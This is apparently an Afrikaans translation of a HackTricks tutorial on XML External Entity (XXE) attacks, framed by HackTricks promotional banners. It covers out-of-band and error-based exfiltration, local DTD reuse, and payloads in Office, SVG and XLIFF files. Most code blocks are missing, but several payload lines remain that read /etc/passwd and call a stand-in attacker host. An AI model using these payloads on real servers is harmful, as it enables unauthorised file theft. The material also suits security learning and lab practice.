<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
XML is 'n merktaal wat ontwerp is vir data-opberging en -vervoer, met 'n buigsame struktuur wat die gebruik van beskrywend benoemde etikette moontlik maak. Dit verskil van HTML deur nie beperk te wees tot 'n stel voorgedefinieerde etikette nie. XML se betekenis het afgeneem met die opkoms van JSON, ten spyte van sy aanvanklike rol in AJAX-tegnologie.
* **Dataverteenwoordiging deur Entiteite**: Entiteite in XML maak die verteenwoordiging van data moontlik, insluitend spesiale karakters soos `<` en `>`, wat ooreenstem met `<` en `>` om konflik met XML se etiketsisteem te vermy.
* **Definisie van XML-elemente**: XML maak die definisie van elementtipes moontlik, wat uiteensit hoe elemente gestruktureer moet word en watter inhoud hulle mag bevat, wat strek van enige tipe inhoud tot spesifieke kinderlemente.
* **Dokumenttipe-definisie (DTD)**: DTD's is noodsaaklik in XML vir die definisie van die dokument se struktuur en die tipes data wat dit kan bevat. Hulle kan intern, ekstern, of 'n kombinasie wees, wat rigting gee oor hoe dokumente geformateer en geverifieer moet word.
* **Aangepaste en Eksterne Entiteite**: XML ondersteun die skepping van aangepaste entiteite binne 'n DTD vir buigsame dataverteenwoordiging. Eksterne entiteite, gedefinieer met 'n URL, veroorsaak sekuriteitskwessies, veral in die konteks van XML Eksterne Entiteit (XXE)-aanvalle, wat die manier waarop XML-parsets eksterne data-bronne hanteer, benut: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
* **XXE Opset met Parameter Entiteite**: Vir die opsporing van XXE-kwesbaarhede, veral wanneer konvensionele metodes faal as gevolg van parset-sekuriteitsmaatreëls, kan XML-parameter-entiteite gebruik word. Hierdie entiteite maak out-of-band opsporingstegnieke moontlik, soos die teweegbring van DNS-opsoeke of HTTP-versoeke na 'n beheerde domein, om die kwesbaarheid te bevestig.
*`<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
*`<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
[**Die meeste van hierdie aanvalle is getoets met die wonderlike Portswiggers XEE-laboratoriums: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
In **Java**-gebaseerde aansoeke is dit moontlik om die inhoud van 'n gids te lys via XXE met 'n lading soos (net vra vir die gids in plaas van die lêer):
Deur die **voorheen gekommentarieerde tegniek** te gebruik, kan jy die bediener dwing om 'n bediener wat jy beheer te benader om te wys dat dit kwesbaar is. Maar, as dit nie werk nie, is dit moontlik omdat **XML-entiteite nie toegelaat word nie**, in daardie geval kan jy probeer om **XML-parameter-entiteite** te gebruik:
**In hierdie geval gaan ons die bediener 'n nuwe DTD laat laai met 'n skadelike lading wat die inhoud van 'n lêer via 'n HTTP-aanvraag sal stuur (**vir **meerreëlige lêers kan jy probeer om dit uit te lek via**_**ftp://**_ deur hierdie basiese bediener byvoorbeeld te gebruik [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Hierdie verduideliking is gebaseer op** [**Portswiggers lab hier**](https://portswigger.net/web-security/xxe/blind)**.**
* 'n XML-parameterentiteit, `%file`, word geskep wat die inhoud van die `/etc/hostname`-lêer lees.
* 'n Ander XML-parameterentiteit, `%eval`, word gedefinieer. Dit verklaar dinamies 'n nuwe XML-parameterentiteit, `%exfiltrate`. Die `%exfiltrate`-entiteit word ingestel om 'n HTTP-aanvraag na die aanvaller se bediener te maak, waar die inhoud van die `%file`-entiteit binne die vraagstring van die URL oorgedra word.
Hierdie lading definieer 'n XML-parameterentiteit `%xxe` en sluit dit in binne die DTD. Wanneer verwerk deur 'n XML-parser, haal hierdie lading die eksterne DTD van die aanvaller se bediener af. Die parser interpreteer dan die DTD inline, voer die stappe uit wat in die skadelike DTD uitgelê is en lei tot die uitlek van die `/etc/hostname`-lêer na die aanvaller se bediener.
**In hierdie geval gaan ons die bediener 'n skadelike DTD laat laai wat die inhoud van 'n lêer binne 'n foutboodskap wys (dit is slegs geldig as jy foutboodskappe kan sien).** [**Voorbeeld van hier.**](https://portswigger.net/web-security/xxe/blind)
'n XML-ontledingsfoutboodskap wat die inhoud van die `/etc/passwd`-lêer onthul, kan geaktiveer word deur 'n skadelike eksterne Dokumenttipe-definisie (DTD) te gebruik. Dit word bereik deur die volgende stappe:
2. 'n XML-parameterentiteit met die naam `eval` word gedefinieer, wat 'n dinamiese verklaring vir 'n ander XML-parameterentiteit met die naam `error` insluit. Hierdie `error`-entiteit probeer, wanneer geëvalueer, 'n nie-bestaande lêer laai, wat die inhoud van die `file`-entiteit as sy naam insluit.
4. Die aanroeping van die `error`-entiteit lei tot 'n poging om 'n nie-bestaande lêer te laai, wat 'n foutboodskap produseer wat die inhoud van die `/etc/passwd`-lêer as deel van die lêernaam insluit.
'n Oorweging in die XML-taal spesifikasie kan **sensitiewe data blootstel deur foutboodskappe wanneer 'n dokument se DTD interne en eksterne verklarings meng**. Hierdie probleem maak die interne herdefiniëring van entiteite wat eksterne verklaar is moontlik, wat die uitvoering van foutgebaseerde XXE-aanvalle fasiliteer. Sulke aanvalle maak gebruik van die herdefiniëring van 'n XML-parameterentiteit, oorspronklik verklaar in 'n eksterne DTD, van binne 'n interne DTD. Wanneer out-of-band verbindinge deur die bediener geblokkeer word, moet aanvallers staatmaak op plaaslike DTD-lêers om die aanval uit te voer, met die doel om 'n parsingsfout te veroorsaak om sensitiewe inligting bloot te lê.
Oorweeg 'n scenario waar die bediener se lêersisteem 'n DTD-lêer by `/usr/local/app/schema.dtd` bevat, wat 'n entiteit met die naam `custom_entity` definieer. 'n Aanvaller kan 'n XML-parsingsfout veroorsaak wat die inhoud van die `/etc/passwd`-lêer blootstel deur 'n hibriede DTD in te dien soos volg:
* Die definisie van 'n XML-parameterentiteit genaamd `local_dtd` sluit die eksterne DTD-lêer in wat op die bediener se lêersisteem geleë is.
* 'n Herdefinisie vind plaas vir die `custom_entity` XML-parameterentiteit, oorspronklik gedefinieer in die eksterne DTD, om 'n [foutgebaseerde XXE-uitbuiting](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) in te sluit. Hierdie herdefinisie is ontwerp om 'n parsingsfout te veroorsaak, wat die inhoud van die `/etc/passwd`-lêer blootstel.
* Deur die `local_dtd`-entiteit te gebruik, word die eksterne DTD betrek, wat die nuut gedefinieerde `custom_entity` insluit. Hierdie reeks van aksies veroorsaak die uitsending van die foutboodskap wat deur die uitbuiting beoog word.
**Werklike wêreld voorbeeld:** Stelsels wat die GNOME-desktopomgewing gebruik, het dikwels 'n DTD by `/usr/share/yelp/dtd/docbookx.dtd` wat 'n entiteit genaamd `ISOamso` bevat.
Aangesien hierdie tegniek 'n **interne DTD gebruik, moet jy eers 'n geldige een vind**. Jy kan dit doen deur dieselfde **BS / sagteware** te **installeer** wat die bediener gebruik en **'n paar standaard DTD's te soek**, of **'n lys** van **standaard DTD's** binne stelsels te **gryp** en **te kontroleer** of enige van hulle bestaan:
Verder, as jy die **Docker-beeld van die slagofferstelsel** het, kan jy die gereedskap van dieselfde opberging gebruik om die **beeld** te **skandeer** en die paaie van **DTD's** wat teenwoordig is binne die stelsel, te **vind**. Lees die [Leesmy van die github](https://github.com/GoSecure/dtd-finder) om te leer hoe.
Vir 'n meer in-diepte verduideliking van hierdie aanval, **kyk na die tweede afdeling van** [**hierdie fantastiese pos**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **van Detectify**.
Die vermoë om **Microsoft Office-dokumente te laai word deur baie webtoepassings aangebied**, wat dan voortgaan om sekere besonderhede uit hierdie dokumente te onttrek. Byvoorbeeld, 'n webtoepassing mag gebruikers toelaat om data in te voer deur 'n XLSX-formaat sigblad te laai. Ten einde die data uit die sigblad te onttrek, sal die ontleder onvermydelik ten minste een XML-lêer moet ontled.
Om vir hierdie kwesbaarheid te toets, is dit nodig om 'n **Microsoft Office-lêer te skep wat 'n XXE-lading bevat**. Die eerste stap is om 'n leë gids te skep waarin die dokument uitgepak kan word.
Sodra die dokument uitgepak is, moet die XML-lêer wat geleë is by `./unzipped/word/document.xml` oopgemaak en in 'n voorkeur teksredigeerder (soos vim) gewysig word. Die XML moet gewysig word om die gewenste XXE-lading in te sluit, dikwels beginnende met 'n HTTP-aanvraag.
Die gewysigde XML-lyne moet tussen die twee hoof XML-voorwerpe ingevoeg word. Dit is belangrik om die URL met 'n monitorbare URL vir aanvrae te vervang.
Laastens kan die lêer saamgepak word om die skadelike poc.docx-lêer te skep. Vanuit die voorheen geskepte "unzipped" gids moet die volgende bevel uitgevoer word:
Nou kan die geskepte lêer na die moontlik kwesbare webtoepassing gelaai word, en 'n persoon kan hoop om 'n aanvraag in die Burp Collaborator-logboeke te sien verskyn.
Die **jar**-protokol is slegs toeganklik binne **Java-toepassings**. Dit is ontwerp om lêertoegang binne 'n **PKZIP**-argief (bv., `.zip`, `.jar`, ens.) moontlik te maak, wat beide plaaslike en afgeleë lêers bedien.
Om toegang te hê tot lêers binne PKZIP-lêers is **baie nuttig om XXE te misbruik via stelsel DTD-lêers.** Kyk na [hierdie afdeling om te leer hoe om stelsel DTD-lêers te misbruik](xxe-xee-xml-external-entity.md#error-based-system-dtd).
'n Interessante tegniek om hierdie proses by die tweede stap te onderbreek, behels om die bedienersverbinding onbeperk oop te hou wanneer die argief-lêer bedien word. Gereedskap beskikbaar by [hierdie argief](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution) kan vir hierdie doel gebruik word, insluitend 'n Python-bedieners (`slow_http_server.py`) en 'n Java-bedieners (`slowserver.jar`).
Die skryf van lêers in 'n tydelike gids kan help om 'n ander kwesbaarheid te verhoog wat 'n padtraversie behels (soos plaaslike lêer insluiting, templaat inspuiting, XSLT RCE, deserialisasie, ens.).
Wanneer kliëntdata geïntegreer word in bedienerkant XML-dokumente, soos dié in agterkant SOAP-versoeke, is direkte beheer oor die XML-struktuur dikwels beperk, wat tradisionele XXE-aanvalle belemmer as gevolg van beperkings op die wysiging van die `DOCTYPE` element. 'n `XInclude`-aanval bied egter 'n oplossing deur die invoeging van eksterne entiteite binne enige data-element van die XML-dokument moontlik te maak. Hierdie metode is doeltreffend selfs wanneer slegs 'n gedeelte van die data binne 'n bediener-geskepte XML-dokument beheer kan word.
Om 'n `XInclude`-aanval uit te voer, moet die `XInclude`-naamruimte verklaar word, en die lêerpad vir die bedoelde eksterne entiteit moet gespesifiseer word. Hieronder is 'n bondige voorbeeld van hoe so 'n aanval geformuleer kan word:
Lêers wat deur gebruikers na sekere toepassings opgelaai word en dan op die bediener verwerk word, kan kwesbaarhede uitbuit in hoe XML- of XML-bevattende lêerformate hanteer word. Gewone lêerformate soos kantoor-dokumente (DOCX) en beelde (SVG) is gebaseer op XML.
Wanneer gebruikers **beelde oplaai**, word hierdie beelde aan die bedienerkant verwerk of geverifieer. Selfs vir toepassings wat formate soos PNG of JPEG verwag, **kan die bediener se beeldverwerkingsbiblioteek ook SVG-beelde ondersteun**. SVG, as 'n op XML-gebaseerde formaat, kan deur aanvallers uitgebuit word om skadelike SVG-beelde in te dien, wat die bediener blootstel aan XXE (XML External Entity) kwesbaarhede.
In albei gevalle word die SVG-formaat gebruik om aanvalle te lanceer wat die XML-verwerkingseienskappe van die bediener se sagteware uitbuit, wat die noodsaaklikheid van deeglike insetvalidering en sekuriteitsmaatreëls beklemtoon.
**Merk op dat die eerste lyn van die leeslêer of van die resultaat van die uitvoering BINNE die geskepte beeld sal verskyn. Jy moet dus toegang hê tot die beeld wat SVG geskep het.**
As 'n POST-aanvraag die data in XML-formaat aanvaar, kan jy probeer om 'n XXE in daardie aanvraag te benut. Byvoorbeeld, as 'n normale aanvraag die volgende bevat:
Om die versoek te verander, kan jy 'n Burp-uitbreiding genaamd "**Inhouds-Tipe-Omskakelaar**" gebruik. [Hier](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) kan jy hierdie voorbeeld vind:
Jy kan die \[**"Encode Recipe**" van cyberchef hier ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) transformeer na UTF-7.
As die web PHP gebruik, in plaas van die gebruik van `file:/` kan jy **php omhulsels**`php://filter/convert.base64-encode/resource=` gebruik om **interne lêers te benader**.
Truuk van [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
Jy kan 'n **entiteit binne 'n entiteit** skep deur dit te kodeer met **html-entiteite** en dit dan roep om 'n **dtd te laai**.\
Let daarop dat die **HTML-entiteite** wat gebruik word, **numeries** moet wees (soos \[in hierdie voorbeeld]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
Hierdie voorbeeld is geïnspireer deur [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
XLIFF (XML Lokalisering Uitruil Lêerformaat) word gebruik om data-uitruil in lokaliseringprosesse te standaardiseer. Dit is 'n op XML-gebaseerde formaat wat hoofsaaklik gebruik word vir die oordrag van lokaliseerbare data tussen gereedskap tydens lokalisering en as 'n algemene uitruilformaat vir KVT (Rekenaarondersteunde Vertaling) gereedskap.
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
Hierdie benadering wys dat die Gebruikeragent aandui dat Java 1.8 gebruik word. 'n Notasiebeperking met hierdie weergawe van Java is die onvermoë om lêers wat 'n nuwe lynkarakter bevat, soos /etc/passwd, te herwin deur die Out of Band-tegniek te gebruik.
Foutgebaseerde Data Uitlekking Om hierdie beperking te oorkom, word 'n Foutgebaseerde benadering gebruik. Die DTD-lêer is as volg gestruktureer om 'n fout te veroorsaak wat data vanaf 'n teikenglêer insluit:
Die bediener reageer met 'n fout, wat belangrik is om die nie-bestaande lêer te weerspieël, wat aandui dat die bediener poog om toegang tot die gespesifiseerde lêer te verkry:
Hierdie wysiging lei tot die suksesvolle uitlek van die lêer se inhoud, soos weerspieël in die foutuitset wat via HTTP gestuur word. Dit dui op 'n suksesvolle XXE (XML Eksterne Entiteit) aanval, wat beide Out of Band en Fout-Gebaseerde tegnieke benut om sensitiewe inligting te onttrek.
XMLDecoder is 'n Java klas wat voorwerpe skep gebaseer op 'n XML-boodskap. As 'n skadelike gebruiker 'n aansoek kan kry om arbitrêre data te gebruik in 'n oproep na die metode **readObject**, sal hy dadelik kode-uitvoering op die bediener verkry.
* Haal inligting via HTTP op deur eie eksterne DTD te gebruik: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.